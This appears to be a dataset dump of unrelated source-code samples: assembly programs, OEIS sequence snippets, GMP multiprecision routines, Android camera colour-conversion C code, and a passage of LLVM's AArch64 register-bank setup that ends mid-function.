text
stringlengths
1
1.05M
section .text global _start _start: mov al, 5 mov bl, 3 or al, bl add al, byte '0' mov [result], al mov eax, 4 mov ebx, 1 mov ecx, result mov edx, 1 int 0x80 output: mov eax, 1 int 0x80 section .bss result resb 1
#ifndef VALUE_RELATIONS_PLUGIN_H #define VALUE_RELATIONS_PLUGIN_H #include "dg/llvm/ValueRelations/ValueRelations.h" #include "instr_plugin.hpp" namespace llvm { class Module; class Value; } using dg::analysis::LLVMValueRelations; class ValueRelationsPlugin : public InstrPlugin { LLVMValueRelations VR; std::string isValidPointer(llvm::Value* ptr, llvm::Value *len); public: bool supports(const std::string& query) override { return query == "isValidPointer"; } std::string query(const std::string& query, const std::vector<llvm::Value *>& operands) override { if (query == "isValidPointer") { assert(operands.size() == 2 && "Wrong number of operands"); return isValidPointer(operands[0], operands[1]); } else { return "unsupported query"; } } ValueRelationsPlugin(llvm::Module* module); }; #endif
/* * Copyright (C) 2011-2017 Intel Corporation * Copyright (c) 2017, Fuzhou Rockchip Electronics Co., Ltd * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #define LOG_TAG "ColorConverter" #include <sys/types.h> #include <stdlib.h> #include <linux/videodev2.h> #include "UtilityMacros.h" #include "ColorConverter.h" #include "LogHelper.h" NAMESPACE_DECLARATION { // covert YV12 (Y plane, V plane, U plane) to NV21 (Y plane, interlaced VU bytes) void convertYV12ToNV21(int width, int height, int srcStride, int dstStride, void *src, void *dst) { const int cStride = srcStride>>1; const int vuStride = dstStride; const int hhalf = height>>1; const int whalf = width>>1; // copy the entire Y plane unsigned char *srcPtr = (unsigned char *)src; unsigned char *dstPtr = (unsigned char *)dst; if (srcStride == dstStride) { STDCOPY((int8_t *) dst, (int8_t *) src, dstStride * height); } else { for (int i = 0; i < height; i++) { STDCOPY(dstPtr, srcPtr, width); srcPtr += srcStride; dstPtr += dstStride; } } // interlace the VU data unsigned char *srcPtrV = (unsigned char *)src + height*srcStride; unsigned char *srcPtrU = srcPtrV + cStride*hhalf; dstPtr = (unsigned char *)dst + dstStride*height; for (int i = 0; i < hhalf; ++i) { unsigned char *pDstVU = dstPtr; unsigned char *pSrcV = srcPtrV; unsigned char *pSrcU = srcPtrU; for (int j = 0; j < whalf; ++j) { *pDstVU ++ = *pSrcV ++; *pDstVU ++ = *pSrcU ++; } dstPtr += vuStride; srcPtrV += cStride; srcPtrU += cStride; } } // copy YV12 to YV12 (Y plane, V plan, U plan) in case of different stride length void copyYV12ToYV12(int width, int height, int srcStride, int dstStride, void *src, void *dst) { // copy the entire Y plane if (srcStride == dstStride) { STDCOPY((int8_t *) dst, (int8_t *) src, dstStride * height); } else { unsigned char *srcPtrY = (unsigned char *)src; unsigned char *dstPtrY = (unsigned char *)dst; for (int i = 0; i < height; i ++) { STDCOPY(dstPtrY, srcPtrY, width); srcPtrY += srcStride; dstPtrY += dstStride; } } // copy VU plane const int scStride = srcStride >> 1; const int dcStride = ALIGN16(dstStride >> 1); // Android CTS required: U/V plane needs 16 bytes aligned! if (dcStride == scStride) { unsigned char *srcPtrVU = (unsigned char *)src + height * srcStride; unsigned char *dstPtrVU = (unsigned char *)dst + height * dstStride; STDCOPY(dstPtrVU, srcPtrVU, height * dcStride); } else { const int wHalf = width >> 1; const int hHalf = height >> 1; unsigned char *srcPtrV = (unsigned char *)src + height * srcStride; unsigned char *srcPtrU = srcPtrV + scStride * hHalf; unsigned char *dstPtrV = (unsigned char *)dst + height * dstStride; unsigned char *dstPtrU = dstPtrV + dcStride * hHalf; for (int i = 0; i < hHalf; i ++) { STDCOPY(dstPtrU, srcPtrU, wHalf); STDCOPY(dstPtrV, srcPtrV, wHalf); dstPtrU += dcStride, srcPtrU += scStride; dstPtrV += dcStride, srcPtrV += scStride; } } } // convert NV12 (Y plane, interlaced UV bytes) to YV12 (Y plane, V plane, U plane) // without Y and C 16 bytes aligned void convertNV12ToYV12(int width, int height, int srcStride, void *src, void *dst) { int yStride = width; size_t ySize = yStride * height; int cStride = yStride/2; size_t cSize = cStride * height/2; unsigned char *srcPtr = (unsigned char *) src; unsigned char *dstPtr = (unsigned char *) dst; unsigned char *dstPtrV = (unsigned char *) dst + ySize; unsigned char *dstPtrU = (unsigned char *) dst + ySize + cSize; // copy the entire Y plane if (srcStride == yStride) { STDCOPY(dstPtr, srcPtr, ySize); srcPtr += ySize; } else if (srcStride > width) { for (int i = 0; i < height; i++) { STDCOPY(dstPtr, srcPtr, width); srcPtr += srcStride; dstPtr += yStride; } } else { LOGE("bad src stride value"); return; } // deinterlace the UV data int halfHeight = height / 2; int halfWidth = width / 2; for ( int i = 0; i < halfHeight; ++i) { for ( int j = 0; j < halfWidth; ++j) { dstPtrV[j] = srcPtr[j * 2 + 1]; dstPtrU[j] = srcPtr[j * 2]; } srcPtr += srcStride; dstPtrV += cStride; dstPtrU += cStride; } } // convert NV12 (Y plane, interlaced UV bytes) to YV12 (Y plane, V plane, U plane) // with Y and C 16 bytes aligned void align16ConvertNV12ToYV12(int width, int height, int srcStride, void *src, void *dst) { int yStride = ALIGN16(width); size_t ySize = yStride * height; int cStride = ALIGN16(yStride/2); size_t cSize = cStride * height/2; unsigned char *srcPtr = (unsigned char *) src; unsigned char *dstPtr = (unsigned char *) dst; unsigned char *dstPtrV = (unsigned char *) dst + ySize; unsigned char *dstPtrU = (unsigned char *) dst + ySize + cSize; // copy the entire Y plane if (srcStride == yStride) { STDCOPY(dstPtr, srcPtr, ySize); srcPtr += ySize; } else if (srcStride > width) { for (int i = 0; i < height; i++) { STDCOPY(dstPtr, srcPtr, width); srcPtr += srcStride; dstPtr += yStride; } } else { LOGE("bad src stride value"); return; } // deinterlace the UV data for ( int i = 0; i < height / 2; ++i) { for ( int j = 0; j < width / 2; ++j) { dstPtrV[j] = srcPtr[j * 2 + 1]; dstPtrU[j] = srcPtr[j * 2]; } srcPtr += srcStride; dstPtrV += cStride; dstPtrU += cStride; } } // P411's Y, U, V are seperated. But the YUY2's Y, U and V are interleaved. void YUY2ToP411(int width, int height, int stride, void *src, void *dst) { int ySize = width * height; int cSize = width * height / 4; int wHalf = width >> 1; unsigned char *srcPtr = (unsigned char *) src; unsigned char *dstPtr = (unsigned char *) dst; unsigned char *dstPtrU = (unsigned char *) dst + ySize; unsigned char *dstPtrV = (unsigned char *) dst + ySize + cSize; for (int i = 0; i < height; i++) { //The first line of the source //Copy first Y Plane first for (int j=0; j < width; j++) { dstPtr[j] = srcPtr[j*2]; } if (i & 1) { //Copy the V plane for (int k = 0; k < wHalf; k++) { dstPtrV[k] = srcPtr[k * 4 + 3]; } dstPtrV = dstPtrV + wHalf; } else { //Copy the U plane for (int k = 0; k< wHalf; k++) { dstPtrU[k] = srcPtr[k * 4 + 1]; } dstPtrU = dstPtrU + wHalf; } srcPtr = srcPtr + stride * 2; dstPtr = dstPtr + width; } } // P411's Y, U, V are separated. But the NV12's U and V are interleaved. void NV12ToP411Separate(int width, int height, int stride, void *srcY, void *srcUV, void *dst) { int i, j, p, q; unsigned char *psrcY = (unsigned char *) srcY; unsigned char *pdstY = (unsigned char *) dst; unsigned char *pdstU, *pdstV; unsigned char *psrcUV; // copy Y data for (i = 0; i < height; i++) { STDCOPY(pdstY, psrcY, width); pdstY += width; psrcY += stride; } // copy U data and V data psrcUV = (unsigned char *)srcUV; pdstU = (unsigned char *)dst + width * height; pdstV = pdstU + width * height / 4; p = q = 0; for (i = 0; i < height / 2; i++) { for (j = 0; j < width; j++) { if (j % 2 == 0) { pdstU[p] = (psrcUV[i * stride + j] & 0xFF); p++; } else { pdstV[q] = (psrcUV[i * stride + j] & 0xFF); q++; } } } } // P411's Y, U, V are seperated. But the NV12's U and V are interleaved. void NV12ToP411(int width, int height, int stride, void *src, void *dst) { NV12ToP411Separate(width, height, stride, src, (void *)((unsigned char *)src + width * height), dst); } // P411's Y, U, V are separated. But the NV21's U and V are interleaved. void NV21ToP411Separate(int width, int height, int stride, void *srcY, void *srcUV, void *dst) { int i, j, p, q; unsigned char *psrcY = (unsigned char *) srcY; unsigned char *pdstY = (unsigned char *) dst; unsigned char *pdstU, *pdstV; unsigned char *psrcUV; // copy Y data for (i = 0; i < height; i++) { STDCOPY(pdstY, psrcY, width); pdstY += width; psrcY += stride; } // copy U data and V data psrcUV = (unsigned char *)srcUV; pdstU = (unsigned char *)dst + width * height; pdstV = pdstU + width * height / 4; p = q = 0; for (i = 0; i < height / 2; i++) { for (j = 0; j < width; j++) { if ((j & 1) == 0) { pdstV[p] = (psrcUV[i * stride + j] & 0xFF); p++; } else { pdstU[q] = (psrcUV[i * stride + j] & 0xFF); q++; } } } } // P411's Y, U, V are seperated. But the NV21's U and V are interleaved. void NV21ToP411(int width, int height, int stride, void *src, void *dst) { NV21ToP411Separate(width, height, stride, src, (void *)((unsigned char *)src + width * height), dst); } // Re-pad YUV420 format image, the format can be YV12, YU12 or YUV420 planar. // If buffer size: (height*dstStride*1.5) > (height*srcStride*1.5), src and dst // buffer start addresses are same, the re-padding can be done inplace. void repadYUV420(int width, int height, int srcStride, int dstStride, void *src, void *dst) { unsigned char *dptr; unsigned char *sptr; void * (*myCopy)(void *dst, const void *src, size_t n); const int whalf = width >> 1; const int hhalf = height >> 1; const int scStride = srcStride >> 1; const int dcStride = dstStride >> 1; const int sySize = height * srcStride; const int dySize = height * dstStride; const int scSize = hhalf * scStride; const int dcSize = hhalf * dcStride; // directly copy, if (srcStride == dstStride) if (srcStride == dstStride) { STDCOPY((int8_t *) dst, (int8_t *) src, dySize + 2*dcSize); return; } // copy V(YV12 case) or U(YU12 case) plane line by line sptr = (unsigned char *)src + sySize + 2*scSize - scStride; dptr = (unsigned char *)dst + dySize + 2*dcSize - dcStride; // try to avoid overlapped memcpy() myCopy = (std::abs(sptr -dptr) > dstStride) ? memcpy : memmove; for (int i = 0; i < hhalf; i ++) { myCopy(dptr, sptr, whalf); sptr -= scStride; dptr -= dcStride; } // copy V(YV12 case) or U(YU12 case) U/V plane line by line sptr = (unsigned char *)src + sySize + scSize - scStride; dptr = (unsigned char *)dst + dySize + dcSize - dcStride; for (int i = 0; i < hhalf; i ++) { myCopy(dptr, sptr, whalf); sptr -= scStride; dptr -= dcStride; } // copy Y plane line by line sptr = (unsigned char *)src + sySize - srcStride; dptr = (unsigned char *)dst + dySize - dstStride; for (int i = 0; i < height; i ++) { myCopy(dptr, sptr, width); sptr -= srcStride; dptr -= dstStride; } } // covert YUYV(YUY2, YUV422 format) to YV12 (Y plane, V plane, U plane) void convertYUYVToYV12(int width, int height, int srcStride, int dstStride, void *src, void *dst) { int ySize = width * height; int cSize = ALIGN16(dstStride/2) * height / 2; int wHalf = width >> 1; unsigned char *srcPtr = (unsigned char *) src; unsigned char *dstPtr = (unsigned char *) dst; unsigned char *dstPtrV = (unsigned char *) dst + ySize; unsigned char *dstPtrU = (unsigned char *) dst + ySize + cSize; for (int i = 0; i < height; i++) { //The first line of the source //Copy first Y Plane first for (int j=0; j < width; j++) { dstPtr[j] = srcPtr[j*2]; } if (i & 1) { //Copy the V plane for (int k = 0; k< wHalf; k++) { dstPtrV[k] = srcPtr[k * 4 + 3]; } dstPtrV = dstPtrV + ALIGN16(dstStride>>1); } else { //Copy the U plane for (int k = 0; k< wHalf; k++) { dstPtrU[k] = srcPtr[k * 4 + 1]; } dstPtrU = dstPtrU + ALIGN16(dstStride>>1); } srcPtr = srcPtr + srcStride * 2; dstPtr = dstPtr + width; } } // covert YUYV(YUY2, YUV422 format) to NV21 (Y plane, interlaced VU bytes) void convertYUYVToNV21(int width, int height, int srcStride, void *src, void *dst) { int ySize = width * height; int u_counter=1, v_counter=0; unsigned char *srcPtr = (unsigned char *) src; unsigned char *dstPtr = (unsigned char *) dst; unsigned char *dstPtrUV = (unsigned char *) dst + ySize; for (int i=0; i < height; i++) { //The first line of the source //Copy first Y Plane first for (int j=0; j < width * 2; j++) { if (j % 2 == 0) dstPtr[j/2] = srcPtr[j]; if (i%2) { if (( j % 4 ) == 3) { dstPtrUV[v_counter] = srcPtr[j]; //V plane v_counter += 2; } if (( j % 4 ) == 1) { dstPtrUV[u_counter] = srcPtr[j]; //U plane u_counter += 2; } } } srcPtr = srcPtr + srcStride * 2; dstPtr = dstPtr + width; } } void convertNV12ToYUYV(int srcWidth, int srcHeight, int srcStride, int dstStride, const void *src, void *dst) { int y_counter = 0, u_counter = 1, v_counter = 3, uv_counter = 0; unsigned char *srcYPtr = (unsigned char *) src; unsigned char *srcUVPtr = (unsigned char *)src + srcWidth * srcHeight; unsigned char *dstPtr = (unsigned char *) dst; for (int i = 0; i < srcHeight; i++) { for (int k = 0; k < srcWidth; k++) { dstPtr[y_counter] = srcYPtr[k]; y_counter += 2; dstPtr[u_counter] = srcUVPtr[uv_counter]; u_counter += 4; dstPtr[v_counter] = srcUVPtr[uv_counter + 1]; v_counter += 4; uv_counter += 2; } if ((i % 2) == 0) { srcUVPtr = srcUVPtr + srcStride; } dstPtr = dstPtr + 2 * dstStride; srcYPtr = srcYPtr + srcStride; u_counter = 1; v_counter = 3; y_counter = 0; uv_counter = 0; } } void convertBuftoYV12(int format, int width, int height, int srcStride, int dstStride, void *src, void *dst, bool align16) { switch (format) { case V4L2_PIX_FMT_NV12: align16 ? align16ConvertNV12ToYV12(width, height, srcStride, src, dst) : convertNV12ToYV12(width, height, srcStride, src, dst); break; case V4L2_PIX_FMT_YVU420: copyYV12ToYV12(width, height, srcStride, dstStride, src, dst); break; case V4L2_PIX_FMT_YUYV: convertYUYVToYV12(width, height, srcStride, dstStride, src, dst); break; default: LOGE("%s: unsupported format %d", __func__, format); break; } } void convertBuftoNV21(int format, int width, int height, int srcStride, int dstStride, void *src, void *dst) { switch (format) { case V4L2_PIX_FMT_YVU420: convertYV12ToNV21(width, height, srcStride, dstStride, src, dst); break; case V4L2_PIX_FMT_YUYV: convertYUYVToNV21(width, height, srcStride, src, dst); break; default: LOGE("%s: unsupported format %d", __func__, format); break; } } } NAMESPACE_DECLARATION_END
extern _DecodePointer@4 extern _EncodePointer@4 extern _GetLogicalProcessorInformation@8 section data global __imp__DecodePointer@4 __imp__DecodePointer@4: dd _DecodePointer@4 global __imp__EncodePointer@4 __imp__EncodePointer@4: dd _EncodePointer@4 global __imp__GetLogicalProcessorInformation@8 __imp__GetLogicalProcessorInformation@8: dd _GetLogicalProcessorInformation@8
Map_224B88: dc.w Frame_224B92-Map_224B88 ; ... dc.w Frame_224BA6-Map_224B88 dc.w Frame_224BB4-Map_224B88 dc.w Frame_224BC8-Map_224B88 dc.w Frame_224BD6-Map_224B88 Frame_224B92: dc.w 3 dc.b 8, 5, 0,$3D,$FF,$E0 dc.b 8, 5, 8,$3D,$FF,$F0 dc.b $F0, $F, 8,$24,$FF,$F0 Frame_224BA6: dc.w 2 dc.b 4, $A, 0,$41,$FF,$E4 dc.b $F0, $F, 8,$24,$FF,$F0 Frame_224BB4: dc.w 3 dc.b 0, 5, 0,$4A,$FF,$E8 dc.b $10, 5,$10,$4A,$FF,$E8 dc.b $F0, $F, 8,$24,$FF,$F0 Frame_224BC8: dc.w 2 dc.b 4, $A, 8,$41,$FF,$E4 dc.b $F0, $F, 8,$24,$FF,$F0 Frame_224BD6: dc.w 2 dc.b $F4, 8, 8,$34,$FF,$F0 dc.b $FC, 9, 8,$37,$FF,$F8
; A061603: a(n) = n! / {product of factorials of the digits of n}. ; 1,1,1,1,1,1,1,1,1,1,3628800,39916800,239500800,1037836800,3632428800,10897286400,29059430400,70572902400,158789030400,335221286400 mov $2,1 mul $2,$0 lpb $0 sub $0,7 mov $1,$2 lpe cal $1,142 mul $1,2 mod $2,10 cal $2,142 div $1,$2 mul $1,4 trn $1,8 div $1,8 add $1,1
; long long strtoull( const char * restrict nptr, char ** restrict endptr, int base) SECTION code_clib SECTION code_stdlib PUBLIC _strtoull_callee EXTERN asm_strtoull, l_store_64_dehldehl_mbc _strtoull_callee: pop af pop ix pop hl pop de pop bc push af push ix ; save result * call asm_strtoull pop bc ; bc = result * jp l_store_64_dehldehl_mbc ; store result
; Tabla de instrumentos TABLA_PAUTAS: DW PAUTA_0,PAUTA_1,PAUTA_2,PAUTA_3,PAUTA_4,PAUTA_5,PAUTA_6 ; Tabla de efectos TABLA_SONIDOS: DW SONIDO0,SONIDO1,SONIDO2,SONIDO3 ;Pautas (instrumentos) ;Instrumento 'Bajo' PAUTA_0: DB 46,0,12,0,10,0,9,0,129 ;Instrumento 'triririn' PAUTA_1: DB 46,0,13,0,12,0,10,0,10,0,9,0,8,0,11,0,10,0,9,0,129 ;Instrumento 'chip1' PAUTA_2: DB 7,0,8,0,9,0,9,0,8,0,7,0,6,0,129 ;Instrumento 'onda1' PAUTA_3: DB 45,0,12,0,12,0,11,0,11,0,10,0,10,0,9,0,129 ;Instrumento 'Onda2' PAUTA_4: DB 7,0,8,0,8,0,8,0,7,0,6,0,6,0,6,0,6,0,6,0,5,0,5,0,5,0,5,0,5,0,138 ;Instrumento 'Chip2' PAUTA_5: DB 7,0,8,0,9,0,8,0,7,0,6,0,129 ;Instrumento 'Onda3' PAUTA_6: DB 77,0,12,0,11,0,10,0,9,0,8,0,7,0,9,0,8,0,7,0,129 ;Efectos ;Efecto 'bass drum' SONIDO0: DB 23,63,0,116,110,0,255 ;Efecto 'drum' SONIDO1: DB 162,47,0,23,93,9,255 ;Efecto 'hithat' SONIDO2: DB 0,10,5,255 ;Efecto 'bass drum vol 2' SONIDO3: DB 186,58,0,0,102,0,162,131,0,255 ;Frecuencias para las notas DATOS_NOTAS: DW 0,0 DW 1711,1614,1524,1438,1358,1281,1210,1142,1078,1017 DW 960,906,855,807,762,719,679,641,605,571 DW 539,509,480,453,428,404,381,360,339,320 DW 302,285,269,254,240,227,214,202,190,180 DW 170,160,151,143,135,127,120,113,107,101 DW 95,90,85,80,76,71,67,64,60,57
; A292018: Wiener index for the n-Andrasfai graph. ; 1,15,44,88,147,221,310,414,533,667,816,980,1159,1353,1562,1786,2025,2279,2548,2832,3131,3445,3774,4118,4477,4851,5240,5644,6063,6497,6946,7410,7889,8383,8892,9416,9955,10509,11078,11662,12261,12875,13504,14148,14807,15481 mov $1,15 mul $1,$0 add $1,13 mul $1,$0 div $1,2 add $1,1
dnl AMD64 mpn_add_n, mpn_sub_n dnl Copyright 2003, 2004, 2005, 2007, 2008, 2010 Free Software Foundation, dnl Inc. dnl This file is part of the GNU MP Library. dnl The GNU MP Library is free software; you can redistribute it and/or modify dnl it under the terms of the GNU Lesser General Public License as published dnl by the Free Software Foundation; either version 3 of the License, or (at dnl your option) any later version. dnl The GNU MP Library is distributed in the hope that it will be useful, but dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public dnl License for more details. dnl You should have received a copy of the GNU Lesser General Public License dnl along with the GNU MP Library. If not, see http://www.gnu.org/licenses/. include(`../config.m4') C cycles/limb C AMD K8,K9 1.5 C AMD K10 1.5 C Intel P4 ? C Intel core2 4.9 C Intel corei ? C Intel atom 4 C VIA nano 3.25 C The inner loop of this code is the result of running a code generation and C optimization tool suite written by David Harvey and Torbjorn Granlund. C INPUT PARAMETERS define(`rp', `%rdi') define(`up', `%rsi') define(`vp', `%rdx') define(`n', `%rcx') define(`cy', `%r8') C (only for mpn_add_nc) ifdef(`OPERATION_add_n', ` define(ADCSBB, adc) define(func, mpn_add_n) define(func_nc, mpn_add_nc)') ifdef(`OPERATION_sub_n', ` define(ADCSBB, sbb) define(func, mpn_sub_n) define(func_nc, mpn_sub_nc)') MULFUNC_PROLOGUE(mpn_add_n mpn_add_nc mpn_sub_n mpn_sub_nc) ASM_START() TEXT ALIGN(16) PROLOGUE(func_nc) mov R32(n), R32(%rax) shr $2, n and $3, R32(%rax) bt $0, %r8 C cy flag <- carry parameter jrcxz L(lt4) mov (up), %r8 mov 8(up), %r9 dec n jmp L(mid) EPILOGUE() ALIGN(16) PROLOGUE(func) mov R32(n), R32(%rax) shr $2, n and $3, R32(%rax) jrcxz L(lt4) mov (up), %r8 mov 8(up), %r9 dec n jmp L(mid) L(lt4): dec R32(%rax) mov (up), %r8 jnz L(2) ADCSBB (vp), %r8 mov %r8, (rp) adc %eax, %eax ret L(2): dec R32(%rax) mov 8(up), %r9 jnz L(3) ADCSBB (vp), %r8 ADCSBB 8(vp), %r9 mov %r8, (rp) mov %r9, 8(rp) adc %eax, %eax ret L(3): mov 16(up), %r10 ADCSBB (vp), %r8 ADCSBB 8(vp), %r9 ADCSBB 16(vp), %r10 mov %r8, (rp) mov %r9, 8(rp) mov %r10, 16(rp) setc R8(%rax) ret ALIGN(16) L(top): ADCSBB (vp), %r8 ADCSBB 8(vp), %r9 ADCSBB 16(vp), %r10 ADCSBB 24(vp), %r11 mov %r8, (rp) lea 32(up), up mov %r9, 8(rp) mov %r10, 16(rp) dec n mov %r11, 24(rp) lea 32(vp), vp mov (up), %r8 mov 8(up), %r9 lea 32(rp), rp L(mid): mov 16(up), %r10 mov 24(up), %r11 jnz L(top) L(end): lea 32(up), up ADCSBB (vp), %r8 ADCSBB 8(vp), %r9 ADCSBB 16(vp), %r10 ADCSBB 24(vp), %r11 lea 32(vp), vp mov %r8, (rp) mov %r9, 8(rp) mov %r10, 16(rp) mov %r11, 24(rp) lea 32(rp), rp inc R32(%rax) dec R32(%rax) jnz L(lt4) adc %eax, %eax ret EPILOGUE()
; A106620: a(n) = numerator of n/(n+19). ; 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,1,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,2,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,3,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,4,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,5,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,6,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,7,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,8,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,9,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,10,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,11,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,12,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,13,248,249 mov $1,$0 gcd $0,19 div $1,$0
SECTION rodata_font SECTION rodata_font_fzx PUBLIC _ff_ao_Swiss _ff_ao_Swiss: BINARY "font/fzx/fonts/ao/Swiss/Swiss.fzx"
//===- AArch64RegisterBankInfo.cpp ----------------------------------------===// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===----------------------------------------------------------------------===// /// \file /// This file implements the targeting of the RegisterBankInfo class for /// AArch64. /// \todo This should be generated by TableGen. //===----------------------------------------------------------------------===// #include "AArch64RegisterBankInfo.h" #include "AArch64InstrInfo.h" #include "llvm/ADT/STLExtras.h" #include "llvm/ADT/SmallVector.h" #include "llvm/CodeGen/GlobalISel/RegisterBank.h" #include "llvm/CodeGen/GlobalISel/RegisterBankInfo.h" #include "llvm/CodeGen/GlobalISel/Utils.h" #include "llvm/CodeGen/LowLevelType.h" #include "llvm/CodeGen/MachineFunction.h" #include "llvm/CodeGen/MachineInstr.h" #include "llvm/CodeGen/MachineOperand.h" #include "llvm/CodeGen/MachineRegisterInfo.h" #include "llvm/CodeGen/TargetOpcodes.h" #include "llvm/CodeGen/TargetRegisterInfo.h" #include "llvm/CodeGen/TargetSubtargetInfo.h" #include "llvm/IR/IntrinsicsAArch64.h" #include "llvm/Support/ErrorHandling.h" #include <algorithm> #include <cassert> #define GET_TARGET_REGBANK_IMPL #include "AArch64GenRegisterBank.inc" // This file will be TableGen'ed at some point. #include "AArch64GenRegisterBankInfo.def" using namespace llvm; AArch64RegisterBankInfo::AArch64RegisterBankInfo(const TargetRegisterInfo &TRI) : AArch64GenRegisterBankInfo() { static llvm::once_flag InitializeRegisterBankFlag; static auto InitializeRegisterBankOnce = [&]() { // We have only one set of register banks, whatever the subtarget // is. Therefore, the initialization of the RegBanks table should be // done only once. Indeed the table of all register banks // (AArch64::RegBanks) is unique in the compiler. At some point, it // will get tablegen'ed and the whole constructor becomes empty. const RegisterBank &RBGPR = getRegBank(AArch64::GPRRegBankID); (void)RBGPR; assert(&AArch64::GPRRegBank == &RBGPR && "The order in RegBanks is messed up"); const RegisterBank &RBFPR = getRegBank(AArch64::FPRRegBankID); (void)RBFPR; assert(&AArch64::FPRRegBank == &RBFPR && "The order in RegBanks is messed up"); const RegisterBank &RBCCR = getRegBank(AArch64::CCRegBankID); (void)RBCCR; assert(&AArch64::CCRegBank == &RBCCR && "The order in RegBanks is messed up"); // The GPR register bank is fully defined by all the registers in // GR64all + its subclasses. assert(RBGPR.covers(*TRI.getRegClass(AArch64::GPR32RegClassID)) && "Subclass not added?"); assert(RBGPR.getSize() == 128 && "GPRs should hold up to 128-bit"); // The FPR register bank is fully defined by all the registers in // GR64all + its subclasses. assert(RBFPR.covers(*TRI.getRegClass(AArch64::QQRegClassID)) && "Subclass not added?"); assert(RBFPR.covers(*TRI.getRegClass(AArch64::FPR64RegClassID)) && "Subclass not added?"); assert(RBFPR.getSize() == 512 && "FPRs should hold up to 512-bit via QQQQ sequence"); assert(RBCCR.covers(*TRI.getRegClass(AArch64::CCRRegClassID)) && "Class not added?"); assert(RBCCR.getSize() == 32 && "CCR should hold up to 32-bit"); // Check that the TableGen'ed like file is in sync we our expectations. // First, the Idx. assert(checkPartialMappingIdx(PMI_FirstGPR, PMI_LastGPR, {PMI_GPR32, PMI_GPR64, PMI_GPR128}) && "PartialMappingIdx's are incorrectly ordered"); assert(checkPartialMappingIdx(PMI_FirstFPR, PMI_LastFPR, {PMI_FPR16, PMI_FPR32, PMI_FPR64, PMI_FPR128, PMI_FPR256, PMI_FPR512}) && "PartialMappingIdx's are incorrectly ordered"); // Now, the content. // Check partial mapping. #define CHECK_PARTIALMAP(Idx, ValStartIdx, ValLength, RB) \ do { \ assert( \ checkPartialMap(PartialMappingIdx::Idx, ValStartIdx, ValLength, RB) && \ #Idx " is incorrectly initialized"); \ } while (false) CHECK_PARTIALMAP(PMI_GPR32, 0, 32, RBGPR); CHECK_PARTIALMAP(PMI_GPR64, 0, 64, RBGPR); CHECK_PARTIALMAP(PMI_GPR128, 0, 128, RBGPR); CHECK_PARTIALMAP(PMI_FPR16, 0, 16, RBFPR); CHECK_PARTIALMAP(PMI_FPR32, 0, 32, RBFPR); CHECK_PARTIALMAP(PMI_FPR64, 0, 64, RBFPR); CHECK_PARTIALMAP(PMI_FPR128, 0, 128, RBFPR); CHECK_PARTIALMAP(PMI_FPR256, 0, 256, RBFPR); CHECK_PARTIALMAP(PMI_FPR512, 0, 512, RBFPR); // Check value mapping. #define CHECK_VALUEMAP_IMPL(RBName, Size, Offset) \ do { \ assert(checkValueMapImpl(PartialMappingIdx::PMI_##RBName##Size, \ PartialMappingIdx::PMI_First##RBName, Size, \ Offset) && \ #RBName #Size " " #Offset " is incorrectly initialized"); \ } while (false) #define CHECK_VALUEMAP(RBName, Size) CHECK_VALUEMAP_IMPL(RBName, Size, 0) CHECK_VALUEMAP(GPR, 32); CHECK_VALUEMAP(GPR, 64); CHECK_VALUEMAP(GPR, 128); CHECK_VALUEMAP(FPR, 16); CHECK_VALUEMAP(FPR, 32); CHECK_VALUEMAP(FPR, 64); CHECK_VALUEMAP(FPR, 128); CHECK_VALUEMAP(FPR, 256); CHECK_VALUEMAP(FPR, 512); // Check the value mapping for 3-operands instructions where all the operands // map to the same value mapping. #define CHECK_VALUEMAP_3OPS(RBName, Size) \ do { \ CHECK_VALUEMAP_IMPL(RBName, Size, 0); \ CHECK_VALUEMAP_IMPL(RBName, Size, 1); \ CHECK_VALUEMAP_IMPL(RBName, Size, 2); \ } while (false) CHECK_VALUEMAP_3OPS(GPR, 32); CHECK_VALUEMAP_3OPS(GPR, 64); CHECK_VALUEMAP_3OPS(GPR, 128); CHECK_VALUEMAP_3OPS(FPR, 32); CHECK_VALUEMAP_3OPS(FPR, 64); CHECK_VALUEMAP_3OPS(FPR, 128); CHECK_VALUEMAP_3OPS(FPR, 256); CHECK_VALUEMAP_3OPS(FPR, 512); #define CHECK_VALUEMAP_CROSSREGCPY(RBNameDst, RBNameSrc, Size) \ do { \ unsigned PartialMapDstIdx = PMI_##RBNameDst##Size - PMI_Min; \ unsigned PartialMapSrcIdx = PMI_##RBNameSrc##Size - PMI_Min; \ (void)PartialMapDstIdx; \ (void)PartialMapSrcIdx; \ const ValueMapping *Map = getCopyMapping( \ AArch64::RBNameDst##RegBankID, AArch64::RBNameSrc##RegBankID, Size); \ (void)Map; \ assert(Map[0].BreakDown == \ &AArch64GenRegisterBankInfo::PartMappings[PartialMapDstIdx] && \ Map[0].NumBreakDowns == 1 && #RBNameDst #Size \ " Dst is incorrectly initialized"); \ assert(Map[1].BreakDown == \ &AArch64GenRegisterBankInfo::PartMappings[PartialMapSrcIdx] && \ Map[1].NumBreakDowns == 1 && #RBNameSrc #Size \ " Src is incorrectly initialized"); \ \ } while (false) CHECK_VALUEMAP_CROSSREGCPY(GPR, GPR, 32); 